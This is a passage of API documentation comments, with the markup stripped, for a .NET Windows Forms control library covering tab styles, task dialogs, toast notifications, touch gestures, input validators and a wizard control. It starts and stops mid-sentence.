aligned. + + + + + Tabs are right aligned. + + + + + Tabs are top aligned. + + + + + Tabs are bottom aligned. + + + + + Indicates tab strip style. + + + + + Default VS.NET like flat style. + + + + + Office 2003 like style. + + + + + OneNote like style. + + + + + VS.NET 2005 style tabs. + + + + + Tab style where tabs are centered and first and last tab have the corners rounded. This style does not support multi-line tabs or tab scrolling. + + + + + VS.NET 2005 dock style tabs. + + + + + VS.NET 2005 document style tabs. + + + + + Simulated theme style with the horizontal text alignment at all times. + + + + + Office 2007 document style. + + + + + Office 2007 dock style. + + + + + Metro UI style. + + + + + Defines delegate for the MeasureTabItem event. + + + + + Represents event arguments for MeasureTabItem event. + + + + + Gets the TabItem that is being measured. + + + + + Gets or sets the size of the TabItem. The default size calculated by the control will be set by default. You can inspect it and change it to the + custom size by setting this property. + + + + + Creates new instance of the class and initializes it with default values. + + TabItem being measured. + Default size. + + + + Defines delegate for the PreRenderTabItem and PostRenderTabItem events. + + + + + Represents event arguments for PreRenderTabItem and PostRenderTabItem event. + + + + + Gets the reference to the TabItem being rendered. You can use properties like DisplayRectangle to determine the rendering bounds for the tab. + + + + + When used in PreRenderTabItem event allows you to cancel the default rendering by setting this property to true. + + + + + Gets the reference to the Graphics object to render the tab on. + + + + + Creates new instance of the class and initializes it with default values. + + Default value for TabItem property. + Default value for Graphics property. + + + + Represents base class for tab display. + + + + + Main method for painting. + + Reference to graphics object + TabStrip to paint + + + + Gets or sets whether anti-alias is used for painting the tabs. Default value is true. + + + + + Gets or sets whether text is drawn horizontaly regardless of tab orientation. + + + + + Gets or sets whether close button is painted on each tab. + + + + + Provides display capabilities for TabStrip with Office 2007 Dock style. + + + + + Provides display capabilities for TabStrip with Office 2007 Document style. + + + + + Creates new instance of the class. + + + + + Represents class performing the display of tabs with RoundHeader style. + + + + + Provides display support for SimualtedTheme tab style. + + + + + Provides display capabilites for TabStrip with VS2005Dock style. + + + + + Creates new instance of the class. + + + + + Represent a task-dialog message box window. + + + + + Displays TaskDialog message. + + Title of the window. + Task dialog header. + Task dialog text. + Displayed buttons. + Result from task-dialog. + + + + Displays TaskDialog message. + + Title of the window. + Task dialog header. + Task dialog text. + Displayed buttons. + Specifies the predefined color for the dialog. + Result from task-dialog. + + + + Displays TaskDialog message. + + Title of the window. + Icon displayed on dialog. + Task dialog header. + Task dialog text. + Displayed buttons. + Result from task-dialog. + + + + Displays TaskDialog message. + + Title of the window. + Icon displayed on dialog. + Task dialog header. + Task dialog text. + Displayed buttons. + Specifies the predefined color for the dialog. + Result from task-dialog. + + + + Displays TaskDialog message. + + Specifies the content of the task dialog. + Result from task-dialog. + + + + Displays TaskDialog message. + + Window owner of the task dialog. + Specifies the content of the task dialog. + Result from task-dialog. + + + + Closes the task dialog if it is open with eTaskDialogResult.None result. + + + + + Closes the task dialog if it is open with specified result value. + + Value that will be used as return value from Show method. + + + + Gets or sets whether TaskDialog form has Windows Vista Glass enabled if running on + Windows Vista with Glass enabled. Default value is true. + + + + + Gets or sets the anti-alias text-rendering setting for the controls on task-dialog. Default value is true. + + + + + Occurs when any text markup link on Task-Dialog Box is clicked. Markup links can be created using "a" tag, for example: + Markup link + + + + + Specifies the information displayed on task-dialog. + + + + + Initializes a new instance of the TaskDialogInfo structure. + + Title of dialog. + Task-dialog icon + Header text. + Dialog main/content text. + Dialog buttons displayed. + Dialog background color. + Radio Button Commands + Button commands. + Check-box command. + Footer text + Footer image. + + + + Initializes a new instance of the TaskDialogInfo structure. + + Title of dialog. + Task-dialog icon + Header text. + Dialog main/content text. + Dialog buttons displayed. + Dialog background color. + Radio Button Commands + Button commands. + Check-box command. + Footer text + Footer image. + Indicates whether TaskDialog is top most. + + + + Initializes a new instance of the TaskDialogInfo structure. + + Title of dialog. + Task-dialog icon + Header text. + Dialog main/content text. + Dialog buttons displayed. + Dialog background color. + + + + Initializes a new instance of the TaskDialogInfo structure. + + Title of dialog. + Task-dialog icon + Header text. + Dialog main/content text. + Dialog buttons displayed. + + + + Initializes a new instance of the TaskDialogInfo structure. + + Title of dialog. + Task-dialog icon + Header text. + Dialog main/content text. + Dialog buttons displayed. + + + + Gets or sets the task-dialog window title. + + + + + Gets or sets the task-dialog header. + + + + + Gets or sets the task-dialog text. + + + + + Gets or sets the task-dialog buttons displayed. + + + + + Gets or sets the task-dialog background color. + + + + + Gets or sets the array of commands that will be used to create the radio-buttons displayed on task-dialog. Each command will be executed as radio-buttons are checked by user. + + + + + Gets or sets the array of commands that will be used to create the buttons displayed on task-dialog. Each command will be executed as buttons are clicked by user. + + + + + Gets or sets the footer text displayed on task-dialog. + + + + + Gets or sets the command that is used to initialize the footer check-box. Command will be executed when check-box state changes by end user. + + + + + Gets or sets the icon that is displayed on task dialog. + + + + + Gets or sets the image that is displayed in the task-dialog footer. Expected image size is 16x16 pixels. + + + + + Gets or sets whether TaskDialog form is top-most. Default value is false. + + + + + Gets or sets the TaskDialog default button. + + + + + Indicates whether task dialog form close button is enabled, default value is true. + + + + + Specifies the task dialog buttons. + + + + + OK button will be displayed. + + + + + Yes button will be displayed. + + + + + No button will be displayed. + + + + + Cancel button will be displayed. + + + + + Retry button will be displayed. + + + + + Close button will be displayed. + + + + + Specifies the task dialog return values. + + + + + No button was clicked because dialog was closed using TaskDialog.Close method. + + + + + OK button was clicked. + + + + + Yes button was clicked. + + + + + No button was clicked. + + + + + Cancel button was clicked. + + + + + Retry button was clicked. + + + + + Close button was clicked. + + + + + Specifies the custom result. Custom result can be specified if TaskDialog.Close method is called to close dialog. + + + + + Specifies the custom result. Custom result can be specified if TaskDialog.Close method is called to close dialog. + + + + + Specifies the custom result. Custom result can be specified if TaskDialog.Close method is called to close dialog. + + + + + Define icons available on TaskDialog. + + + + + No icon. + + + + + Blue flag icon. + + + + + Blue stop icon. + + + + + Light bulb, idea icon. + + + + + Check-mark icon. + + + + + Check-mark icon. + + + + + Trash-can delete icon. + + + + + Exclamation icon. + + + + + Flag icon. + + + + + Hand-stop icon. + + + + + Help icon. + + + + + Informational icon. + + + + + Informational icon. + + + + + No entry icon. + + + + + Shield icon. + + + + + Shield help icon. + + + + + Shield OK icon. + + + + + Shield stop icon. + + + + + Stop icon. + + + + + Stop icon. + + + + + Users icons. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + true if managed resources should be disposed; otherwise, false. + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Gets or sets the task-background color. + + + + + Gets the task-dialog result + + + + + Gets or sets the anti-alias text-rendering setting for the controls. + + + + + Defines TaskDialog colors. + + + + + Task dialog will use default background as specified by current theme. + + + + + Task dialog will use silver background color. + + + + + Task dialog will use tan background color. + + + + + Task dialog will use dark-blue background color. + + + + + Task dialog will use blue background color. + + + + + Task dialog will use red background color. + + + + + Task dialog will use olive-green background color. + + + + + Task dialog will use purple background color. + + + + + Task dialog will use aqua background color. + + + + + Task dialog will use orange background color. + + + + + Summary description for TextBoxItem. + + + + + Selects all text in text box. + + + + + Indicates whether property should be serialized by Windows Forms designer. + + + + + Resets the property to default value. + + + + + Occurs when ButtonCustom control is clicked. + + + + + Occurs when ButtonCustom2 control is clicked. + + + + + IBlock member implementation + + + + + Gets or sets a value indicating whether the text in the TextBox control should appear as the default password character. + + + + + Gets or sets the character used to mask characters of a password in a single-line TextBox control. + + + + + Gets or sets the text associated with the editable part of the item. + + + + + Gets or sets the item caption text displayed next to the text input. + + + + + Gets or sets the maximum number of characters the user can type or paste into the text box control. + + + + + Gets or sets whether watermark text is displayed when control is empty. Default value is true. + + + + + Gets or sets the watermark image displayed inside of the control when Text is not set and control does not have input focus. + + + + + Gets or sets the watermark image alignment. + + + + + + Gets or sets the watermark font. + + + + + Gets or sets the watermark text color. + + + + + Gets or sets the watermark hiding behaviour. Default value indicates that watermark is hidden when control receives input focus. + + + + + Gets or sets whether FocusHighlightColor is used as background color to highlight text box when it has input focus. Default value is false. + + + + + Gets or sets the color used as background color to highlight text box when it has input focus and focus highlight is enabled. + + + + + Gets or sets the text-alignment inside of the text box. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Gets the object that describes the settings for the custom button that can execute an custom action of your choosing when clicked. + + + + + Measures the element given available size. + + Size available to element + Reference to graphics object + + + + Measures the end tag of an element. Most implementations do not need to do anything but implementations like the ones + that change color should return state back at this time. + + + + + + + Renders element. + + Provides markup drawing context information. + + + + Renders element tag end. Most implementations do not need to do anything but mplementations like the ones + that change color should return state back at this time. + + Provides markup drawing context information. + + + + Provides final rectangle to element and lets it arrange it's content given new constraint. + + Final rectangle. + + + + + Arranges the element given the final size. Layout is two step process with Measure followed by Arrange. + + + + + + + Returns whether markup element is an container so it receives full available size of parent control for layout. + + + + + Returns whether markup element is an block element that always consumes a whole line in layout. + + + + + Returns whether layout manager switches to new line after processing this element. + + + + + Returns whether layout manager can start new line with this element. + + + + + Gets the collection of child elements if any for this markup element. + + + + + Gets or sets whether element size is valid. When size is not valid element Measure method will be called to validate size. + + + + + Gets element parent or null if parent is not set. + + + + + Gets or sets actual rendering bounds. + + + + + Gets or sets whether markup element is visible. + + + + + Gets or sets the element margin. + + + + + Gets or sets actual rendered bounds for a give markup element if applicable. + + + + + Returns whether markup element is an block element that always consumes a whole line in layout. + + + + + Indicates paragraph content alignment + + + + + Indicates paragraph content alignment + + + + + Gets reference to markup start element. + + + + + Returns whether layout manager can start new line with this element. + + + + + Gets or sets heading level. Values from 1 to 6 are valid. Default is 1. + + + + + Returns whether hyper-link contains specified coordinates. + + + + + + + Creates new instance of the class. + + + + Adds new object to the collection. + + Object to add. + Index of newly added object. + + + + Inserts new object into the collection. + + Position of the object. + Object to insert. + + + + Returns index of the object inside of the collection. + + Reference to the object. + Index of the object. + + + + Returns whether collection contains specified object. + + Object to look for. + true if object is part of the collection, otherwise false. + + + + Removes specified object from the collection. + + + + + + Copies collection into the specified array. + + Array to copy collection to. + Starting index. + + + + Copies contained items to the MarkupElement array. + + Array to copy to. + + + + Gets or sets the collection parent element. + + + + + Returns reference to the object in collection based on it's index. + + + + + Tests whether input text could be markup text. + + Text to test. + true if text could be markup, otherwise false + + + + Gets the style of the hyperlink in its default state. + + + + + Gets the style of the hyperlink when mouse is over the link. + + + + + Gets the style of the visited hyperlink. + + + + + + Represents the method that will handle the ResolveImage event. + + + + + Defines the text-markup hyperlink appearance style. + + + + + Initializes a new instance of the HyperlinkStyle class. + + + + + Initializes a new instance of the HyperlinkStyle class. + + + + + + + Initializes a new instance of the HyperlinkStyle class. + + + + + + + + Gets or sets hyperlink text color. + + + + + Gets or sets hyperlink back color. + + + + + Gets or sets the underline style for the hyperlink. + + + + + Gets whether style has been changed from its default state. + + + + + + Indicates that event has been handled and that ResolvedImage should be used. + + + + + Indicates the string key parameters in url-style for the image that needs to be resolved. + + + + + Indicates the resolved image value. + you need to set this value to the resolved image and you need to set Handled property to true. + + + + + Default constructor. + + + + + Gets or sets whether element size is valid. When size is not valid element Measure method will be called to validate size. + + + + + Returns whether layout manager switches to new line after processing this element. + + + + + Returns whether markup element is an block element that always consumes a whole line in layout. + + + + + Returns whether layout manager can start new line with this element. + + + + + Summary description for Themes. + + + + + Represents toast display control. This class is not for public use. + + + + + Initializes a new instance of the ToastDisplay class. + + + + + Specifies the alpha-blending, opacity for the content rendered by the control. Setting this property allows fading in and out of the control content. + + + + + Gets or sets the toast background color. + + + + + Gets or sets the toast glow color. + + + + + Gets or sets the image displayed on the toast. + + + + + Represents class used to display toast notifications. A toast notification is a message that appears on the surface of the screen for a moment, + but it does not take focus (or pause the current activity), so it cannot accept any user input. + Notification pops up on the surface of the specified Form or Control. + It only fills the amount of space required for the message and the user's current activity remains visible and interactive. + The notification automatically fades in and out after specified time interval. + Notification text supports text-markup. + + + + + Closes all toast notifications open on specified parent control. + + Parent control. + + + + Closes specified toast notification on parent control. + + Parent control. + Toast ID as returned by the Show method. + + + + Updates the already displayed toast text. Note that toast notification will not be resized. + + Parent control which was used to show toast. + Toast ID returned by the Show toast method. + New toast notification text. + + + + Displays the toast notification on top of the specified parent control, we recommend always using a parent form. + + Parent form to display toast notification on top of + Message to display. + Image to display next to toast text. + Interval in milliseconds after which the notification is hidden. + Specifies toast-glow color used. + Specifies the position of the toast notification. + + + + Displays the toast notification on top of the specified parent control, we recommend always using a parent form. + + Parent form to display toast notification on top of + Message to display. + Image to display next to toast text. + Interval in milliseconds after which the notification is hidden. + Specifies toast-glow color used. + Specifies the X position of the toast notification with its parent window. + Specifies the Y position of the toast notification with its parent window. + + + + Displays the toast notification on top of the specified parent control, we recommend always using a parent form. + + Parent form to display toast notification on top of + Message to display. + Image to display next to toast text. + Interval in milliseconds after which the notification is hidden. + /// Specifies toast-glow color used. + + + + Displays the toast notification on top of the specified parent control, we recommend always using a parent form, with default timeout interval. + + Parent control to display toast notification on top of + Message to display. + + + + Displays the toast notification on top of the specified parent control, we recommend always using a parent form, with default timeout interval. + + Parent control to display toast notification on top of + Message to display. + Specifies the position of the toast notification. + + + + Displays the toast notification on top of the specified parent control, we recommend always using a parent form, with default timeout interval. + + Parent control to display toast notification on top of + Message to display. + Image to display next to toast text. + + + + Displays the toast notification on top of the specified parent control, we recommend always using a parent form. + + Parent form to display toast notification on top of + Message to display. + Image to display next to toast text. + Interval in milliseconds after which the notification is hidden. + + + + Displays the toast notification on top of the specified parent control, we recommend always using a parent form. + + Parent form to display toast notification on top of + Message to display. + Interval in milliseconds after which the notification is hidden. + + + + Displays the toast notification on top of the specified parent control, we recommend always using a parent form. + + Parent form to display toast notification on top of + Message to display. + Interval in milliseconds after which the notification is hidden. + Specifies the position of the toast notification. + + + + Specifies the toast margin from the edges of the parent control. Default value is 16 pixels on all sides. + + + + + Specifies the default toast position within the parent control. Default value is BottomCenter. + + + + + Specifies default glow color around toast notification. Default value is Blue. + + + + + Specifies the default timeout interval for the toast notification. + + + + + Specifies the toast background color. + + + + + Specifies the toast text color. + + + + + Specifies the font used for the toast. + + + + + Specifies the custom glow color used when eToastGlowColor.Custom is used. + + + + + Specifies toast position within parent control. + + + + + Specifies the glow color around toast notification. + + + + + Summary description for NewToolbar. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Summary description for Tooltip. + + + + + Gets or sets the rectangle of the control or item tooltip is displayed for. + + + + + Gets or sets whether text-markup is enabled for the tooltips. + + + + + Specifies fixed location for tooltip window. + + + + + Raises PanBegin event. + + Provides event arguments. + + + + Raises PanBegin event. + + Provides event arguments. + + + + Raises PanBegin event. + + Provides event arguments. + + + + Raises Begin event. + + Provides event arguments. + + + + Raises End event. + + Provides event arguments. + + + + Raises PressAndTap event. + + Provides event arguments. + + + + Raises RotateBegin event. + + Provides event arguments. + + + + Raises Rotate event. + + Provides event arguments. + + + + Raises RotateEnd event. + + Provides event arguments. + + + + Raises TwoFingerTap event. + + Provides event arguments. + + + + Raises ZoomBegin event. + + Provides event arguments. + + + + Raises Zoom event. + + Provides event arguments. + + + + Raises ZoomEnd event. + + Provides event arguments. + + + + Raises TouchDown event. + + Provides event arguments. + + + + Raises TouchDown event. + + Provides event arguments. + + + + Raises TouchDown event. + + Provides event arguments. + + + + Initializes a new instance of the TouchHandler class. + + + + + + Initializes a new instance of the TouchHandler class. + + + + + + Initializes handler + + + + + The Windows message handler. + + + + + Decode the message and create a collection of event arguments + + + + + The last event in the current gesture event sequence + + + + + Register for touch event + + true if succeeded + + + + The event arguments that started the current gesture + + + + + Gets or sets whether palm rejection is enabled. + + + + + Check if Multi-touch support device is ready + + + + + Create new gesture event instance and decode the gesture info structure + + The gesture handler + The gesture information + + + + Gesture relative rotation angle for Rotate event. + + + + + Indicates calculated gesture center. + + + + + Gesture zoom factor for Zoom event. + + + + + Gesture relative panning translation for Pan event. + + + + + Gesture velocity vector of the pan gesture for custom inertia implementations. + + + + + The last touch arguments in this gesture event sequence. + + + + + The client location of gesture. + + + + + Is this the first event of a gesture. + + + + + It this last event of a gesture. + + + + + Has gesture triggered inertia. + + + + + The first touch arguments in this gesture event sequence. + + + + + Gets or sets whether event is handled. + + + + + EventArgs passed to Touch handlers + + + + + Create new touch event argument instance + + The target control + one of the inner touch input in the message + + + + Touch client coordinate in pixels + + + + + A touch point identifier that distinguishes a particular touch input + + + + + A set of bit flags that specify various aspects of touch point + press, release, and motion. + + + + + mask which fields in the structure are valid + + + + + touch event time + + + + + touch event time from system up + + + + + the size of the contact area in pixels + + + + + Is Primary Contact (The first touch sequence) + + + + + Specifies that movement occurred + + + + + Specifies that the corresponding touch point was established through a new contact + + + + + Specifies that a touch point was removed + + + + + Specifies that a touch point is in range + + + + + specifies that this input was not coalesced. + + + + + Specifies that the touch point is associated with a pen contact + + + + + The touch event came from the user's palm + + Set to true + + + + Gets or sets whether event is handled. + + + + + Get the current Digitizer Status + + + + + Initializes a new instance of the GESTURECONFIG structure. + + + + + + + + Specifies available digitizer capabilities + + + + + Gesture Info Interop Structure + + + + + A Simple POINTS Interop structure + + + + + A Simple POINT Interop structure + + + + + Touch API defined structures [winuser.h] + + + + + Represents class that holds User Interface static methods. + + + + + Gets the graphics path that represents triangle. + + Top left position of the triangle. + Size of the triangle. + Pointing direction of the triangle. + Returns graphics path for the triangle of given size and pointing in given direction. + + + + Creates the double arrow >> collapse expand image for the collapsable controls. + + Indicates the direction of the arrow + Color for the arrows + Indicates whether image is for vertical collapse/expand + + + + + Specifies the pointing direction of triangle. + + + + + Triangle point to the left. + + + + + Triangle point to the right. + + + + + Triangle point to the top. + + + + + Triangle point to the bottom. + + + + + Represents compare validator for SuperValidator control used to compare two input fields or input fields to specified value. + + + + + Represents base validator used by SuperValidator component. + + + + + Validates the input control. + + Input control to validate. + true if validation is successful otherwise false + + + + Gets the input control value. + + Control to return value for. + Controls value + + + + Gets the input control value. + + Control to return value for. + Controls value + + + + Raises the GetValue event. + + Event arguments. + + + + Occurs when validator retrieves the value for the control. It allows you to return value for the controls validator does not recognize. + + + + + Gets or sets the error message that is displayed by error provider when validation fails. + + + + + Gets the last validation result returned from Validate call. True if validation was successful or false if validation failed. + + + + + Returns SuperValidator control validator is assigned to. + + + + + Gets or sets whether error is displayed using the error provider on SuperValidator when validation fails. Default value is true. + + + + + Gets or sets whether validator is enabled. Default value is true. + + + + + Gets or sets the group name validation belongs to. When control belongs to optional validation group the validation is considered successful when any of the controls in the group validates. + + + + + Gets or sets the highlight color for control when validation fails if Highlighter component is used on SuperValidator. Default Value is None. + + + + + Gets or sets the value property name for the control to validate. + + + + + Initializes a new instance of the RequiredFieldValidator class. + + + + + Initializes a new instance of the RequiredFieldValidator class. + + + + + Initializes a new instance of the RequiredFieldValidator class. + + + + + Initializes a new instance of the RequiredFieldValidator class. + + + + + Initializes a new instance of the RequiredFieldValidator class. + + + + + Initializes a new instance of the RequiredFieldValidator class. + + + + + Initializes a new instance of the RequiredFieldValidator class. + + + + + Initializes a new instance of the RequiredFieldValidator class. + + + + + Gets or sets the control to compare validated control to. + + + + + Gets or sets the Value property name for the ControlToCompare control. + + + + + Gets or sets the value to compare to the validation control. + + + + + Gets or sets the operator used for comparison. + + + + + Specifies the validation comparison operators used by the CompareValidator. + + + + + A comparison for equality. + + + + + A comparison for inequality. + + + + + A comparison for greater than. + + + + + A comparison for greater than or equal to. + + + + + A comparison for less than. + + + + + A comparison for less than or equal to. + + + + + A comparison for data type only. + + + + + Initializes a new instance of the CustomValidator class. + + + + + Gets or sets custom data associated with the validator + + + + + Defines delegate for CustomValidator ValidateValue event. + + Sender + Event arguments + + + + Gets the reference to the control to validate. + + + + + Gets or sets whether control's value is valid. + + + + + Initializes a new instance of the ValidateValueEventArgs class. + + Control to validate. + + + + Defines an interface that can be implemented by custom error providers to be used with SuperValidator. + + + + + Sets the error state on the control. + + Control for which error state is being set. + The error message from validator. + + + + Clears the error state for the control. + + Control to clear error state for. + + + + Retrieves whether control is highlighted when it receives input focus. + + + + + Sets whether control is highlighted when it receives input focus. + + Reference to supported control. + Indicates whether to highlight control on focus. + + + + Retrieves the highlight color that is applied to the control. + + + + + Sets the highlight color for the control. + + Reference to supported control. + Highlight color. + + + + Updates the highlighted controls border. Usually call to this method is not needed but under + certain scenarios where highlighter does not automatically detects the change in visibility of + the highlighted control call to this method is necessary. + + + + + Indicates the highlight focus color. + + + + + Gets or sets the container control highlighter is bound to. The container control must be set in order for highlighter to work. + Container control should always be a form. + + + + + Gets or sets the array of colors used to render custom highlight color. Control expects 3 colors in array to be specified which define the highlight border. + + + + + Defines highlight colors provided by Highlighter control. + + + + + Initializes a new instance of the ErrorProviderWrapper class. + + + + + + Initializes a new instance of the ErrorProviderWrapper class. + + + + + + + Initializes a new instance of the HighlightPanel class. + + + + + + Gets or sets the array of colors used to render custom highlight color. Control expects 3 colors in array to be specified which define the highlight border. + + + + + Initializes a new instance of the HighlightRegion structure. + + + + + + + + Initializes a new instance of the RangeValidator class. + + + + + Initializes a new instance of the RangeValidator class. + + + + + Initializes a new instance of the RangeValidator class. + + + + + Gets or sets the maximum value control may have. + + + + + Gets or sets the minimum value control may have. + + + + + Indicates whether empty string of zero length is considered valid input. + + + + + Represents the regular expression validator used with SuperValidator control. + + + + + Initializes a new instance of the RegularExpressionValidator class. + + + + + Initializes a new instance of the RegularExpressionValidator class. + + + + + + Initializes a new instance of the RegularExpressionValidator class. + + + + + + Initializes a new instance of the RegularExpressionValidator class. + + + + + + Gets or sets regular expression used to validate controls value. + + + + + Gets or sets whether empty value is considered valid value by the validator. Default value is false. + + + + + Describes required field validator used with SuperValidator control. + + + + + Initializes a new instance of the RequiredFieldValidator class. + + + + + Initializes a new instance of the RequiredFieldValidator class. + + + + + Initializes a new instance of the RequiredFieldValidator class. + + + + + Raises EvaluateIsEmpty event. + + Event Arguments + + + + Occurs when controls value needs to be evaluated to check whether it is empty. You can use this event to perform custom evaluation. + + + + + Indicates whether empty string of zero length is considered valid input. + + + + + Initializes a new instance of the ValidatorGetValueEventArgs class. + + + + + + + Gets Control to retrieve value for. + + + + + Gets the Value to evaluate. + + + + + Gets validator that is requesting value. + + + + + Resets the Value set and indicates that validator will internally retrieve value for the control. + + + + + Gets or sets the value that will be used by validator. + + + + + Raises the CustomValidatorValidateValue event. + + Validator that needs validation. + Control to validate. + + + + Retrieves first level Validator for given control or return null if control does not have validator associated with it. + + + + + Associates first level Validator with given control. + + Reference to supported control. + Instance of validator class. If null is passed existing Validator is detached from the given control. + + + + Retrieves second level Validator for given control or return null if control does not have validator associated with it. + + + + + Associates second level Validator with given control. + + Reference to supported control. + Instance of validator class. If null is passed existing Validator is detached from the given control. + + + + Retrieves third level Validator for given control or return null if control does not have validator associated with it. + + + + + Associates third level Validator with given control. + + Reference to supported control. + Instance of validator class. If null is passed existing Validator is detached from the given control. + + + + Raises the GetValue event. + + Event arguments. + + + + Performs validation on all validators. It also uses error provider to display failed validations if validator has that enabled. + + Returns true if all validations succeeded or false if at least one validation has failed. + + + + Validate single control. Note that control must have validator assigned to it. This method will change LastFailedValidationResults collection. + + Control to validate. + returns true if validation succeeds or false if it fails + + + + Validate single control. Note that control must have validator assigned to it. This method will change LastFailedValidationResults collection. + + Control to validate. + Indicates whether to clear the last set of failed validations by calling ClearFailedValidations() method. + returns true if validation succeeds or false if it fails + + + + Removes all visual markers from failed validations that were placed on the controls. + + + + + Occurs when validator retrieves the value for the control. It allows you to return value for the controls validator does not recognize. + + + + + Occurs when CustomValidator needs to validate the control value. + + + + + Gets or sets whether validation is performed in steps meaning that if first level validation fails, second level is not validated + until first level validation succeeds. Default value is false which means that all validation levels are validated even if first level fails. + + + + + Gets the readonly collection that returns failed validations that were result of last Validate method call. + + + + + Indicates default ErrorProvider IconPadding when Highlighter is used with SuperValidator. Setting this property to 0 will allow you to set IconPadding for each control manually. + + + + + Gets or sets the error provider that is used by the validator to report validation errors. + + + + + Gets or sets the custom error provider that is used by validator to report errors. You can provide your own error validators by implementing IErrorProvider interface. + + + + + Gets or sets the Highlighter component that is used to highlight validation errors. + + + + + Gets or sets the validation type performed by the control. Default value is Manual. + + + + + Gets or sets the container control validator is bound to. The container control must be set for the ValidationType ValidatingEventOnContainer. + When ContainerControl is Form the validator handles the Closing event of the form to perform the validation and cancel the form closing. + You can disable that by setting either Enabled=false or Form.CausesValidation=false. + + + + + Gets or sets whether validation is performed. Default value is true. + + + + + Gets or sets whether Cancel argument in Validating event for validation type ValidatingEventPerControl is set to true when validation fails. + + + + + Specifies the validation type for SuperValidator control. + + + + + SuperValidator uses manual validation, i.e. you will call Validate method to perform validation. + + + + + Validation is performed per control from each controls Validating event. The Cancel is set to true on event arguments if validation fails. + + + + + Validation is performed for all controls from Validating event on container control. By default container control is Form that SuperValidator is on. + + + + + Defines validator control pair used by SuperValidator control. + + + + + Gets the validator associated with the control. + + + + + Gets control reference. + + + + + Initializes a new instance of the ValidatorControlPair structure. + + Validator associated with the control + Control reference + + + + Initializes a new instance of the ValidatorGetValueEventArgs class. + + + + + + + Gets Control to retrieve value for. + + + + + Gets validator that is requesting value. + + + + + Resets the Value set and indicates that validator will internally retrieve value for the control. + + + + + Gets or sets the value that will be used by validator. + + + + + Retrieves the show state and the restored, minimized, and maximized positions of the specified window. + + + A handle to the window. + + + A pointer to the WINDOWPLACEMENT structure that receives the show state and position information. + + Before calling GetWindowPlacement, set the length member to sizeof(WINDOWPLACEMENT). GetWindowPlacement fails if lpwndpl-> length is not set correctly. + + + + If the function succeeds, the return value is nonzero. + + If the function fails, the return value is zero. To get extended error information, call GetLastError. + + + + + Options available when a form is tested for mose positions. + + + HTERROR: On the screen background or on a dividing line between windows + (same as HTNOWHERE, except that the DefWindowProc function produces a system + beep to indicate an error). + + + HTTRANSPARENT: In a window currently covered by another window in the + same thread (the message will be sent to underlying windows in the same thread + until one of them returns a code that is not HTTRANSPARENT). + + + HTNOWHERE: On the screen background or on a dividing line between + windows. + + + HTCLIENT: In a client area. + + + HTCAPTION: In a title bar. + + + HTSYSMENU: In a window menu or in a Close button in a child window. + + + HTGROWBOX: In a size box (same as HTSIZE). + + + HTMENU: In a menu. + + + HTHSCROLL: In a horizontal scroll bar. + + + HTVSCROLL: In the vertical scroll bar. + + + HTMINBUTTON: In a Minimize button. + + + HTMAXBUTTON: In a Maximize button. + + + HTLEFT: In the left border of a resizable window (the user can click + the mouse to resize the window horizontally). + + + HTRIGHT: In the right border of a resizable window (the user can click + the mouse to resize the window horizontally). + + + HTTOP: In the upper-horizontal border of a window. + + + HTTOPLEFT: In the upper-left corner of a window border. + + + HTTOPRIGHT: In the upper-right corner of a window border. + + + HTBOTTOM: In the lower-horizontal border of a resizable window (the + user can click the mouse to resize the window vertically). + + + HTBOTTOMLEFT: In the lower-left corner of a border of a resizable + window (the user can click the mouse to resize the window diagonally). + + + HTBOTTOMRIGHT: In the lower-right corner of a border of a resizable + window (the user can click the mouse to resize the window diagonally). + + + HTBORDER: In the border of a window that does not have a sizing + border. + + + HTOBJECT: Unknown...No Documentation Found + + + HTCLOSE: In a Close button. + + + HTHELP: In a Help button. + + + HTSIZE: In a size box (same as HTGROWBOX). (Same as GrowBox). + + + HTREDUCE: In a Minimize button. (Same as MinimizeButton). + + + HTZOOM: In a Maximize button. (Same as MaximizeButton). + + + + Hides the window and activates another window. + + + + + Activates and displays a window. If the window is minimized or + maximized, the system restores it to its original size and position. + An application should specify this flag when displaying the window + for the first time. + + + + + Activates the window and displays it as a minimized window. + + + + + Maximizes the specified window. + + + + + Activates the window and displays it as a maximized window. + + + + + Displays a window in its most recent size and position. This value + is similar to , except + the window is not actived. + + + + + Activates the window and displays it in its current size and position. + + + + + Minimizes the specified window and activates the next top-level + window in the Z order. + + + + + Displays the window as a minimized window. This value is similar to + , except the + window is not activated. + + + + + Displays the window in its current size and position. This value is + similar to , except the + window is not activated. + + + + + Activates and displays the window. If the window is minimized or + maximized, the system restores it to its original size and position. + An application should specify this flag when restoring a minimized window. + + + + + Sets the show state based on the SW_* value specified in the + STARTUPINFO structure passed to the CreateProcess function by the + program that started the application. + + + + + Windows 2000/XP: Minimizes a window, even if the thread + that owns the window is not responding. This flag should only be + used when minimizing windows from a different thread. + + + + + Represents Wizard control. + + + + + Required designer variable. + + + + + Clean up any resources being used. + + + + + Required method for Designer support - do not modify + the contents of this method with the code editor. + + + + + Resets the style to it's default value. + + + + + Resets the style to it's default value. + + + + + Simulates Back button click on Wizard control. Note that this method will raise the same events as + standard Wizard Back button click. + + + + + Simulates Next button click on Wizard control. Note that this method will raise the same events as + standard Wizard Next button click. + + + + + Simulates Cancel button click on Wizard control. Note that this method will raise the same events as + standard Wizard Cancel button click. + + + + + Simulates Finish button click on Wizard control. Note that this method will raise the same events as + standard Wizard Finish button click. + + + + + Raises BackButtonClick event. + + Event arguments + + + + Raises NextButtonClick event. + + Event arguments + + + + Raises FinishButtonClick event. + + Event arguments + + + + Raises CancelButtonClick event. + + Event arguments + + + + Raises HelpButtonClick event. + + Event arguments + + + + Raises WizardPageChanging event. + + Provides event arguments + + + + Raises WizardPageChanged event. + + Provides event arguments + + + + Occurs when Back button is clicked. You can cancel any default processing performed by Wizard control by setting Cancel=true on event arguments. + + + + + Occurs when Next button is clicked. You can cancel any default processing performed by Wizard control by setting Cancel=true on event arguments. + + + + + Occurs when Finish button is clicked. You can cancel any default processing performed by Wizard control by setting Cancel=true on event arguments. + + + + + Occurs when Cancel button is clicked. You can cancel any default processing performed by Wizard control by setting Cancel=true on event arguments. + + + + + Occurs when Help button is clicked. You can cancel any default processing performed by Wizard control by setting Cancel=true on event arguments. + + + + + Occurs before wizard page has changed and gives you opportunity to cancel the change. + + + + + Occurs after wizard page has changed. This event cannot be cancelled. To cancel the page change please use WizardPageChanging event. + + + + + Occurs when wizard buttons (Back, Next, Finish 